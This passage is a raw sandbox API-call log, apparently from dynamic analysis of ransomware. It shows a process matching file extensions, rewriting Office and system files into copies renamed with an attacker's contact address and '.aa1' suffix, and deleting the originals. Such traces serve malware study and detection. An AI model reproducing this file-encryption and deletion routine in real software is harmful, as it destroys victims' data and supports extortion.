lstrlenW (lpString=".docx") returned 5 [0224.390] lstrcmpiW (lpString1=".docx", lpString2="X.dll") returned -1 [0224.390] lstrlenW (lpString=".pdf") returned 4 [0224.390] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0224.390] lstrlenW (lpString=".xls") returned 4 [0224.390] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0224.390] lstrlenW (lpString=".xlsx") returned 5 [0224.390] lstrcmpiW (lpString1=".xlsx", lpString2="X.dll") returned -1 [0224.390] lstrlenW (lpString=".ppt") returned 4 [0224.390] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0224.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0224.390] lstrlenW (lpString=".zip") returned 4 [0224.390] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0224.391] lstrlenW (lpString=".rar") returned 4 [0224.391] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0224.391] lstrlenW (lpString=".bz2") returned 4 [0224.391] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0224.391] lstrlenW (lpString=".7z") returned 3 [0224.391] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0224.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0224.391] lstrlenW (lpString=".dbf") returned 4 [0224.391] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0224.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0224.391] lstrlenW (lpString=".1cd") returned 4 [0224.391] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0224.391] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\PidGenX.dll") returned 74 [0224.391] lstrlenW (lpString=".jpg") returned 4 [0224.391] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0224.391] lstrcmpiW (lpString1=".cab", lpString2=".aa1") returned 1 [0224.391] lstrlenW (lpString="VisiorWW.cab") returned 12 [0224.391] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0224.392] GetFileSizeEx (in: hFile=0x1dc, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=195011319) returned 1 [0224.392] CloseHandle (hObject=0x1dc) returned 1 [0224.392] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab")) returned 0x2020 [0224.392] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0224.392] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[who8@mail.fr].aa1")) returned 1 [0224.393] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.cab.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dc [0224.393] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0x0) returned 1 [0224.393] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0224.393] ReadFile (in: hFile=0x1dc, lpBuffer=0x3630058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3630058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0224.689] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0224.690] ReadFile (in: hFile=0x1dc, lpBuffer=0x3670058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x3670058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0224.720] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2b9fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0224.721] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc2c | out: lpNewFilePointer=0x0) returned 1 [0224.721] ReadFile (in: hFile=0x1dc, lpBuffer=0x36b0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2b9fc38, lpOverlapped=0x0 | out: lpBuffer=0x36b0058*, lpNumberOfBytesRead=0x2b9fc38*=0x40000, lpOverlapped=0x0) returned 1 [0224.763] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0224.763] WriteFile (in: hFile=0x1dc, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x2b9fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0224.781] SetEndOfFile (hFile=0x1dc) returned 1 [0224.781] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x40000) returned 0x3fd3008 [0224.781] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0224.781] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fd3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3008*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.782] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0x3dfe0fd, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0224.782] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fd3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3008*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.784] SetFilePointerEx (in: hFile=0x1dc, liDistanceToMove=0xb9ba2f7, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fc7c | out: lpNewFilePointer=0x0) returned 1 [0224.784] WriteFile (in: hFile=0x1dc, lpBuffer=0x3fd3008*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2b9fc88, lpOverlapped=0x0 | out: lpBuffer=0x3fd3008*, lpNumberOfBytesWritten=0x2b9fc88*=0x40000, lpOverlapped=0x0) returned 1 [0224.787] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3fd3008 | out: hHeap=0x4f0000) returned 1 [0224.787] CloseHandle (hObject=0x1dc) returned 1 [0224.787] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0224.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0224.787] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0224.787] lstrlenW (lpString=".doc") returned 4 [0224.787] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0224.787] lstrlenW (lpString=".docx") returned 5 [0224.787] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0224.787] lstrlenW (lpString=".pdf") returned 4 [0224.787] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0224.787] lstrlenW (lpString=".xls") returned 4 [0224.788] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0224.788] lstrlenW (lpString=".xlsx") returned 5 [0224.788] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0224.788] lstrlenW (lpString=".ppt") returned 4 [0224.788] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0224.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0224.788] lstrlenW (lpString=".zip") returned 4 [0224.788] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0224.788] lstrlenW (lpString=".rar") returned 4 [0224.788] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0224.788] lstrlenW (lpString=".bz2") returned 4 [0224.788] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0224.788] lstrlenW (lpString=".7z") returned 3 [0224.788] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0224.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0224.788] lstrlenW (lpString=".dbf") returned 4 [0224.788] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0224.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0224.788] lstrlenW (lpString=".1cd") returned 4 [0224.788] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0224.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0224.788] lstrlenW (lpString=".jpg") returned 4 [0224.788] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0224.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0224.788] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0224.788] lstrlenW (lpString=".doc") returned 4 [0224.788] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0224.789] lstrlenW (lpString=".docx") returned 5 [0224.789] lstrcmpiW (lpString1=".docx", lpString2="W.cab") returned -1 [0224.789] lstrlenW (lpString=".pdf") returned 4 [0224.789] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0224.789] lstrlenW (lpString=".xls") returned 4 [0224.789] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0224.789] lstrlenW (lpString=".xlsx") returned 5 [0224.789] lstrcmpiW (lpString1=".xlsx", lpString2="W.cab") returned -1 [0224.789] lstrlenW (lpString=".ppt") returned 4 [0224.789] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0224.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0224.789] lstrlenW (lpString=".zip") returned 4 [0224.789] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0224.789] lstrlenW (lpString=".rar") returned 4 [0224.789] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0224.789] lstrlenW (lpString=".bz2") returned 4 [0224.789] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0224.789] lstrlenW (lpString=".7z") returned 3 [0224.789] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0224.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0224.789] lstrlenW (lpString=".dbf") returned 4 [0224.789] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0224.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0224.789] lstrlenW (lpString=".1cd") returned 4 [0224.789] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0224.789] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.cab") returned 75 [0224.789] lstrlenW (lpString=".jpg") returned 4 [0224.789] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0224.790] lstrcmpiW (lpString1=".EXE", lpString2=".aa1") returned 1 [0224.790] lstrlenW (lpString="DW20.EXE") returned 8 [0224.790] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0225.034] GetFileSizeEx (in: hFile=0x224, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=994184) returned 1 [0225.034] CloseHandle (hObject=0x224) returned 1 [0225.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 0x20 [0225.034] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.034] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x224 [0225.035] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.035] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.035] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0225.036] GetLastError () returned 0x0 [0225.036] ReadFile (in: hFile=0x224, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b9fed4*=0xf2b88, lpOverlapped=0x0) returned 1 [0225.103] WriteFile (in: hFile=0x1ec, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xf2b90, lpNumberOfBytesWritten=0x2b9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fc9c*=0xf2b90, lpOverlapped=0x0) returned 1 [0225.379] ReadFile (in: hFile=0x224, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.393] WriteFile (in: hFile=0x1ec, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2b9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0225.393] SetEndOfFile (hFile=0x1ec) returned 1 [0225.393] CloseHandle (hObject=0x1ec) returned 1 [0225.394] SetFilePointerEx (in: hFile=0x224, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.394] SetEndOfFile (hFile=0x224) returned 1 [0225.447] CloseHandle (hObject=0x224) returned 1 [0225.447] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.447] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE" (normalized: "c:\\program files\\common files\\microsoft shared\\dw\\dw20.exe")) returned 1 [0225.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0225.447] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0225.447] lstrlenW (lpString=".doc") returned 4 [0225.447] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0225.447] lstrlenW (lpString=".docx") returned 5 [0225.448] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0225.448] lstrlenW (lpString=".pdf") returned 4 [0225.448] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0225.448] lstrlenW (lpString=".xls") returned 4 [0225.448] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0225.448] lstrlenW (lpString=".xlsx") returned 5 [0225.448] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0225.448] lstrlenW (lpString=".ppt") returned 4 [0225.448] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0225.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0225.448] lstrlenW (lpString=".zip") returned 4 [0225.448] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0225.448] lstrlenW (lpString=".rar") returned 4 [0225.448] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0225.448] lstrlenW (lpString=".bz2") returned 4 [0225.448] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0225.448] lstrlenW (lpString=".7z") returned 3 [0225.448] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0225.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0225.448] lstrlenW (lpString=".dbf") returned 4 [0225.448] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0225.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0225.448] lstrlenW (lpString=".1cd") returned 4 [0225.448] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0225.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0225.448] lstrlenW (lpString=".jpg") returned 4 [0225.448] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0225.448] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0225.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0225.449] lstrlenW (lpString=".doc") returned 4 [0225.449] lstrcmpiW (lpString1=".doc", lpString2=".EXE") returned -1 [0225.449] lstrlenW (lpString=".docx") returned 5 [0225.449] lstrcmpiW (lpString1=".docx", lpString2="0.EXE") returned -1 [0225.449] lstrlenW (lpString=".pdf") returned 4 [0225.449] lstrcmpiW (lpString1=".pdf", lpString2=".EXE") returned 1 [0225.449] lstrlenW (lpString=".xls") returned 4 [0225.449] lstrcmpiW (lpString1=".xls", lpString2=".EXE") returned 1 [0225.449] lstrlenW (lpString=".xlsx") returned 5 [0225.449] lstrcmpiW (lpString1=".xlsx", lpString2="0.EXE") returned -1 [0225.449] lstrlenW (lpString=".ppt") returned 4 [0225.449] lstrcmpiW (lpString1=".ppt", lpString2=".EXE") returned 1 [0225.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0225.449] lstrlenW (lpString=".zip") returned 4 [0225.449] lstrcmpiW (lpString1=".zip", lpString2=".EXE") returned 1 [0225.449] lstrlenW (lpString=".rar") returned 4 [0225.449] lstrcmpiW (lpString1=".rar", lpString2=".EXE") returned 1 [0225.449] lstrlenW (lpString=".bz2") returned 4 [0225.449] lstrcmpiW (lpString1=".bz2", lpString2=".EXE") returned -1 [0225.449] lstrlenW (lpString=".7z") returned 3 [0225.449] lstrcmpiW (lpString1=".7z", lpString2="EXE") returned -1 [0225.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0225.449] lstrlenW (lpString=".dbf") returned 4 [0225.449] lstrcmpiW (lpString1=".dbf", lpString2=".EXE") returned -1 [0225.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0225.449] lstrlenW (lpString=".1cd") returned 4 [0225.449] lstrcmpiW (lpString1=".1cd", lpString2=".EXE") returned -1 [0225.449] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\DW\\DW20.EXE") returned 58 [0225.450] lstrlenW (lpString=".jpg") returned 4 [0225.450] lstrcmpiW (lpString1=".jpg", lpString2=".EXE") returned 1 [0225.450] lstrcmpiW (lpString1=".TTF", lpString2=".aa1") returned 1 [0225.450] lstrlenW (lpString="MTEXTRA.TTF") returned 11 [0225.450] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.686] GetFileSizeEx (in: hFile=0x228, lpFileSize=0x2b9ff1c | out: lpFileSize=0x2b9ff1c*=7656) returned 1 [0225.686] CloseHandle (hObject=0x228) returned 1 [0225.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 0x20 [0225.686] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0225.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x228 [0225.686] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.686] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.686] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x22c [0225.687] GetLastError () returned 0x0 [0225.687] ReadFile (in: hFile=0x228, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b9fed4*=0x1de8, lpOverlapped=0x0) returned 1 [0225.698] WriteFile (in: hFile=0x22c, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0x1df0, lpNumberOfBytesWritten=0x2b9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fc9c*=0x1df0, lpOverlapped=0x0) returned 1 [0225.959] ReadFile (in: hFile=0x228, lpBuffer=0x3630020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesRead=0x2b9fed4*=0x0, lpOverlapped=0x0) returned 1 [0225.959] WriteFile (in: hFile=0x22c, lpBuffer=0x3630020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2b9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3630020*, lpNumberOfBytesWritten=0x2b9fc9c*=0xea, lpOverlapped=0x0) returned 1 [0225.959] SetEndOfFile (hFile=0x22c) returned 1 [0225.959] CloseHandle (hObject=0x22c) returned 1 [0225.960] SetFilePointerEx (in: hFile=0x228, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b9fec8 | out: lpNewFilePointer=0x0) returned 1 [0225.960] SetEndOfFile (hFile=0x228) returned 1 [0225.961] CloseHandle (hObject=0x228) returned 1 [0225.961] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x20) returned 1 [0225.961] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF" (normalized: "c:\\program files\\common files\\microsoft shared\\equation\\mtextra.ttf")) returned 1 [0225.961] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0225.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0225.962] lstrlenW (lpString=".doc") returned 4 [0225.962] lstrcmpiW (lpString1=".doc", lpString2=".TTF") returned -1 [0225.962] lstrlenW (lpString=".docx") returned 5 [0225.962] lstrcmpiW (lpString1=".docx", lpString2="A.TTF") returned -1 [0225.962] lstrlenW (lpString=".pdf") returned 4 [0225.962] lstrcmpiW (lpString1=".pdf", lpString2=".TTF") returned -1 [0225.962] lstrlenW (lpString=".xls") returned 4 [0225.962] lstrcmpiW (lpString1=".xls", lpString2=".TTF") returned 1 [0225.962] lstrlenW (lpString=".xlsx") returned 5 [0225.962] lstrcmpiW (lpString1=".xlsx", lpString2="A.TTF") returned -1 [0225.962] lstrlenW (lpString=".ppt") returned 4 [0225.962] lstrcmpiW (lpString1=".ppt", lpString2=".TTF") returned -1 [0225.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\EQUATION\\MTEXTRA.TTF") returned 67 [0225.962] lstrlenW (lpString=".zip") returned 4 [0225.962] lstrcmpiW (lpString1=".zip", lpString2=".TTF") returned 1 [0225.962] lstrlenW (lpString=".rar") returned 4 [0225.962] lstrcmpiW (lpString1=".rar", lpString2=".TTF") returned -1 [0225.962] lstrlenW 